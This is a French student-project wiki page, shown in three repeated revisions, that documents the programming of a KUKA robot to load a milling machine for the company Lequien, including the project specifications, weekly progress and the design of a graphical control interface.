Wiki d'activités IMA - Contributions de l’utilisateur [fr]

P27 Robot de fraiseuse

2016-02-20T18:19:45Z

Froyer1 : /* Semaine du 15 au 19 février 2016 */

La société SARL LEQUIEN est spécialisée dans la fabrication et la commercialisation d’ensembles mécaniques et de mécano-soudure de précision, usinés en commande numérique en petites et moyennes séries.
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).

[[Fichier:Environnement.png|center|500px|Environnement de travail]]

== Descriptif du projet ==

L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de pièces à usiner. Chaque palette est équipée de deux faces d’usinage, permettant ainsi le chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.
[[Fichier:Usinage piece.png|center|500px]]
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés.
[[Fichier:Dispositif.png|center|500px]]

== Cahier des charges ==

Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :
*Prise d’une pièce (1)
*Dépôt sur le support d’ajustement (2)
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3)
*Usinage de la 1ere Opération
*Dépôt sur le support de retournement (4)
*Dépôt sur le montage de bridage pour la 2eme opération d’usinage (5)
*Usinage de la 2eme Opération
*Dépôt sur le panier fini (6)

[[Fichier:Cycle.png|center|500px]]

La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.

Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)

== Problématique Majeure du Projet ==

Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.

Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.

Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.

Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme.

== Avancement du projet ==

=== Semaine du 21 au 25 septembre 2015 ===

*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges
*Prise des mesures afin de simuler l'environnement de travail

=== Semaine du 5 au 9 octobre 2015 ===

*Création du wiki
*Rédaction du cahier des charges
*Prise en main du logiciel Kuka Sim Pro

=== Semaine du 12 au 16 octobre 2015 ===

*Formation sur le logiciel Kuka Sim Pro
*Début de la génération de l'environnement

=== Semaine du 19 au 23 octobre 2015 ===

*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)
[[Média:TestTrajectoire.pdf‎]]

=== Semaine du 2 au 6 novembre 2015 ===

*Environnement quasiment finalisé
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur
[[Média:TestAttachPrehenseur.pdf‎]]

=== Semaine du 9 au 13 novembre 2015 ===

*Réalisation d'un cycle avec prise et relâche d'un préhenseur

=== Semaine du 16 au 20 novembre 2015 ===

*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet
*Prise de mesures supplémentaire

=== Semaine du 23 au 27 novembre 2015 ===

*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6
[[Média:TestKR6.mp4]]

=== Semaine du 30 novembre au 4 décembre 2015 ===

*Avancement du rapport

=== Semaine du 7 au 11 décembre 2015 ===

*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.
*Réalisation de nouvelles trajectoires plus complexes

=== Semaine du 14 au 18 décembre 2015 ===

*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.

=== Semaine du 4 au 8 janvier 2016 ===

*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.

=== Semaine du 11 au 15 janvier 2016 ===

*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#.
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.

=== Semaine du 18 au 22 janvier 2016 ===

*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.
*Une partie des trajectoires a également été réalisé (prise des préhenseurs et des pièces, retournement et le déplacement des palettes)

=== Semaine du 25 au 29 janvier 2016 ===

Toutes les trajectoires ont été terminées. De plus, à partir de cette semaine, nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.

Les paramètres à définir sont :
*Le type de pièce que l'on souhaite usiner.
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)
*Et pour finir le nombre de pièces que l'on va usiner.

=== Semaine du 1 au 5 février 2016 ===

Une version alpha de l'interface à été réalisée.

[[Fichier:P27_IHM_1.jpg|center|690px]]
[[Fichier:P27_IHM_2.jpg|center|690px]]

Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.

Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.

[[Fichier:P27_IHM_3.jpg|center|690px]]
[[Fichier:P27_IHM_3bis.jpg|center|690px]]

Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.

[[Fichier:P27_IHM_4.jpg|center|690px]]
[[Fichier:P27_IHM_4bis.jpg|center|690px]]

La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.

Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.

Nous avons également commencé la réalisation d'un code permettant de lancer les trajectoires souhaitées en fonction des choix fait dans l'IHM.

=== Semaine du 8 au 12 février 2016 ===

Une petite modification a été réalisée au sein de l'interface graphique car un point avait été oublié. Il est parfois nécessaire de retourner la pièce avant ou après une opération d'usinage. C'est pourquoi ils disposent d'une surface d'attente sur le magasin ou sont posé les préhenseurs. Si un retournement est nécessaire, le robot viens déposer la pièce sur cette surface d'attente et la reprendre sous un angle différent.

C'est pourquoi nous avons eu à ajouter une fenêtre ou l'utilisateur peut choisir les retournement nécessaire à l'usinage. Il y en a 3 au maximum.

[[Fichier:P27_IHM_5.jpg|center|690px]]

Celle-ci viens s'insérer avant la page 4 qui permet de lancer le programme.

La réalisation du code faisant la liaison entre l'IHM et les trajectoires est plus compliqué que prévu. Nous avons des problèmes pour faire l'appel de nos programmes ainsi que pour la réalisation de nos boucles.

=== Semaine du 15 au 19 février 2016 ===

Tests concernant la communication entre l'interface et le robot à l'aide de la librairie CrossCom qui nous a été conseillée par Kuka.
Cette librairie est disponible uniquement en Visual Basic 6 et l'absence de documentation rend son utilisation difficile. Nous arrivons à récupérer le ''path'' de nos fichiers et à les charger dans le robot via cette librairie mais il reste impossible de les exécuter. Différentes syntaxes on été testées pour lancer un programme, sans succès pour l'instant.

Par la suite nous avons découvert une variable système permettant de lancer un programme en revanche celle-ci est disponible uniquement en lecture. En revanche nous arrivons maintenant à appeler des programmes fils à partir du robot Kuka. Ceci nous permet de tester l'état des capteurs et les valeurs en mémoire du robot et d'appeler des programmes en fonction de ces valeurs.

Du coup pour contourner le problème rencontré au niveau de l’exécution des programme nous avons choisi d’exécuter manuellement un programme main sur le robot qui attend un signal de l'interface graphique pour exécuter nos différents programmes. De cette manière l'interface graphique a seulement besoin de venir écrire les différentes variables dans la mémoire du robot, et l'une de ces variables va déclencher l’exécution du programme. Ceci a pour le moment été testé sans l'utilisation de l'interface graphique, en exécutant directement le programme de communication pour des raisons de compatibilité avec Windows XP. Nous travaillons à résoudre ce problème.

Le problème de compatibilité a été résolu en réalisant une version XP de l'interface graphique réalisée avec Visual Studio 2010. Le code principale permettant l’exécution des sous programmes est réalisé et la communication entre l'interface graphique et le robot fonctionne.

Le temps restant sera consacré à la finition du rapport et la préparation de la soutenance.

P27 Robot de fraiseuse

2016-02-19T14:24:25Z

Froyer1 : /* Semaine du 15 au 19 février 2016 */

La société SARL LEQUIEN est spécialisée dans la fabrication et la commercialisation d’ensembles mécaniques et de mécano-soudure de précision, usinés en commande numérique en petites et moyennes séries.
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).

[[Fichier:Environnement.png|center|500px|Environnement de travail]]

== Descriptif du projet ==

L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de pièces à usiner. Chaque palette est équipée de deux faces d’usinage, permettant ainsi le chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.
[[Fichier:Usinage piece.png|center|500px]]
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés.
[[Fichier:Dispositif.png|center|500px]]

== Cahier des charges ==

Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :
*Prise d’une pièce (1)
*Dépôt sur le support d’ajustement (2)
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3)
*Usinage de la 1ere Opération
*Dépôt sur le support de retournement (4)
*Dépôt sur le montage de bridage pour la 2eme opération d’usinage (5)
*Usinage de la 2eme Opération
*Dépôt sur le panier fini (6)

[[Fichier:Cycle.png|center|500px]]

La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.

Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)

== Problématique Majeure du Projet ==

Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.

Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.

Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.

Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme.

== Avancement du projet ==

=== Semaine du 21 au 25 septembre 2015 ===

*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges
*Prise des mesures afin de simuler l'environnement de travail

=== Semaine du 5 au 9 octobre 2015 ===

*Création du wiki
*Rédaction du cahier des charges
*Prise en main du logiciel Kuka Sim Pro

=== Semaine du 12 au 16 octobre 2015 ===

*Formation sur le logiciel Kuka Sim Pro
*Début de la génération de l'environnement

=== Semaine du 19 au 23 octobre 2015 ===

*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)
[[Média:TestTrajectoire.pdf‎]]

=== Semaine du 2 au 6 novembre 2015 ===

*Environnement quasiment finalisé
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur
[[Média:TestAttachPrehenseur.pdf‎]]

=== Semaine du 9 au 13 novembre 2015 ===

*Réalisation d'un cycle avec prise et relâche d'un préhenseur

=== Semaine du 16 au 20 novembre 2015 ===

*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet
*Prise de mesures supplémentaire

=== Semaine du 23 au 27 novembre 2015 ===

*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6
[[Média:TestKR6.mp4]]

=== Semaine du 30 novembre au 4 décembre 2015 ===

*Avancement du rapport

=== Semaine du 7 au 11 décembre 2015 ===

*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.
*Réalisation de nouvelles trajectoires plus complexes

=== Semaine du 14 au 18 décembre 2015 ===

*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.

=== Semaine du 4 au 8 janvier 2016 ===

*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.

=== Semaine du 11 au 15 janvier 2016 ===

*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#.
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.

=== Semaine du 18 au 22 janvier 2016 ===

*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.
*Une partie des trajectoires a également été réalisé (prise des préhenseurs et des pièces, retournement et le déplacement des palettes)

=== Semaine du 25 au 29 janvier 2016 ===

Toutes les trajectoires ont été terminées. De plus, à partir de cette semaine, nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.

Les paramètres à définir sont :
*Le type de pièce que l'on souhaite usiner.
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)
*Et pour finir le nombre de pièces que l'on va usiner.

=== Semaine du 1 au 5 février 2016 ===

Une version alpha de l'interface à été réalisée.

[[Fichier:P27_IHM_1.jpg|center|690px]]
[[Fichier:P27_IHM_2.jpg|center|690px]]

Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.

Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.

[[Fichier:P27_IHM_3.jpg|center|690px]]
[[Fichier:P27_IHM_3bis.jpg|center|690px]]

Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.

[[Fichier:P27_IHM_4.jpg|center|690px]]
[[Fichier:P27_IHM_4bis.jpg|center|690px]]

La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.

Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.

Nous avons également commencé la réalisation d'un code permettant de lancer les trajectoires souhaitées en fonction des choix fait dans l'IHM.

=== Semaine du 8 au 12 février 2016 ===

Une petite modification a été réalisée au sein de l'interface graphique car un point avait été oublié. Il est parfois nécessaire de retourner la pièce avant ou après une opération d'usinage. C'est pourquoi ils disposent d'une surface d'attente sur le magasin ou sont posé les préhenseurs. Si un retournement est nécessaire, le robot viens déposer la pièce sur cette surface d'attente et la reprendre sous un angle différent.

C'est pourquoi nous avons eu à ajouter une fenêtre ou l'utilisateur peut choisir les retournement nécessaire à l'usinage. Il y en a 3 au maximum.

[[Fichier:P27_IHM_5.jpg|center|690px]]

Celle-ci viens s'insérer avant la page 4 qui permet de lancer le programme.

La réalisation du code faisant la liaison entre l'IHM et les trajectoires est plus compliqué que prévu. Nous avons des problèmes pour faire l'appel de nos programmes ainsi que pour la réalisation de nos boucles.

=== Semaine du 15 au 19 février 2016 ===

Tests concernant la communication entre l'interface et le robot à l'aide de la librairie CrossCom qui nous a été conseillée par Kuka.
Cette librairie est disponible uniquement en Visual Basic 6 et l'absence de documentation rend son utilisation difficile. Nous arrivons à récupérer le ''path'' de nos fichiers et à les charger dans le robot via cette librairie mais il reste impossible de les exécuter. Différentes syntaxes on été testées pour lancer un programme, sans succès pour l'instant.

Par la suite nous avons découvert une variable système permettant de lancer un programme en revanche celle-ci est disponible uniquement en lecture. En revanche nous arrivons maintenant à appeler des programmes fils à partir du robot Kuka. Ceci nous permet de tester l'état des capteurs et les valeurs en mémoire du robot et d'appeler des programmes en fonction de ces valeurs.

Du coup pour contourner le problème rencontré au niveau de l’exécution des programme nous avons choisi d’exécuter manuellement un programme main sur le robot qui attend un signal de l'interface graphique pour exécuter nos différents programmes. De cette manière l'interface graphique a seulement besoin de venir écrire les différentes variables dans la mémoire du robot, et l'une de ces variables va déclencher l’exécution du programme. Ceci a pour le moment été testé sans l'utilisation de l'interface graphique, en exécutant directement le programme de communication pour des raisons de compatibilité avec Windows XP. Nous travaillons à résoudre ce problème.

Le code principale permettant l’exécution des sous programmes est réalisé et la communication fonctionne.

P27 Robot de fraiseuse

2016-02-16T16:19:24Z

Froyer1 :

La société SARL LEQUIEN est spécialisée dans la fabrication et la commercialisation d’ensembles mécaniques et de mécano-soudure de précision, usinés en commande numérique en petites et moyennes séries.
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).

[[Fichier:Environnement.png|center|500px|Environnement de travail]]

== Descriptif du projet ==

L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de pièces à usiner. Chaque palette est équipée de deux faces d’usinage, permettant ainsi le chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.
[[Fichier:Usinage piece.png|center|500px]]
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés.
[[Fichier:Dispositif.png|center|500px]]

== Cahier des charges ==

Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :
*Prise d’une pièce (1)
*Dépôt sur le support d’ajustement (2)
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3)
*Usinage de la 1ere Opération
*Dépôt sur le support de retournement (4)
*Dépôt sur le montage de bridage pour la 2eme opération d’usinage (5)
*Usinage de la 2eme Opération
*Dépôt sur le panier fini (6)

[[Fichier:Cycle.png|center|500px]]

La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.

Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)

== Problématique Majeure du Projet ==

Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.

Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.

Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.

Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme.

== Avancement du projet ==

=== Semaine du 21 au 25 septembre 2015 ===

*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges
*Prise des mesures afin de simuler l'environnement de travail

=== Semaine du 5 au 9 octobre 2015 ===

*Création du wiki
*Rédaction du cahier des charges
*Prise en main du logiciel Kuka Sim Pro

=== Semaine du 12 au 16 octobre 2015 ===

*Formation sur le logiciel Kuka Sim Pro
*Début de la génération de l'environnement

=== Semaine du 19 au 23 octobre 2015 ===

*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)
[[Média:TestTrajectoire.pdf‎]]

=== Semaine du 2 au 6 novembre 2015 ===

*Environnement quasiment finalisé
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur
[[Média:TestAttachPrehenseur.pdf‎]]

=== Semaine du 9 au 13 novembre 2015 ===

*Réalisation d'un cycle avec prise et relâche d'un préhenseur

=== Semaine du 16 au 20 novembre 2015 ===

*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet
*Prise de mesures supplémentaire

=== Semaine du 23 au 27 novembre 2015 ===

*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6
[[Média:TestKR6.mp4]]

=== Semaine du 30 novembre au 4 décembre 2015 ===

*Avancement du rapport

=== Semaine du 7 au 11 décembre 2015 ===

*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.
*Réalisation de nouvelles trajectoires plus complexes

=== Semaine du 14 au 18 décembre 2015 ===

*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.

=== Semaine du 4 au 8 janvier 2016 ===

*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.

=== Semaine du 11 au 15 janvier 2016 ===

*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#.
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.

=== Semaine du 18 au 22 janvier 2016 ===

*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.
*Une partie des trajectoires a également été réalisé (prise des préhenseurs et des pièces, retournement et le déplacement des palettes)

=== Semaine du 25 au 29 janvier 2016 ===

Toutes les trajectoires ont été terminées. De plus, à partir de cette semaine, nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.

Les paramètres à définir sont :
*Le type de pièce que l'on souhaite usiner.
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)
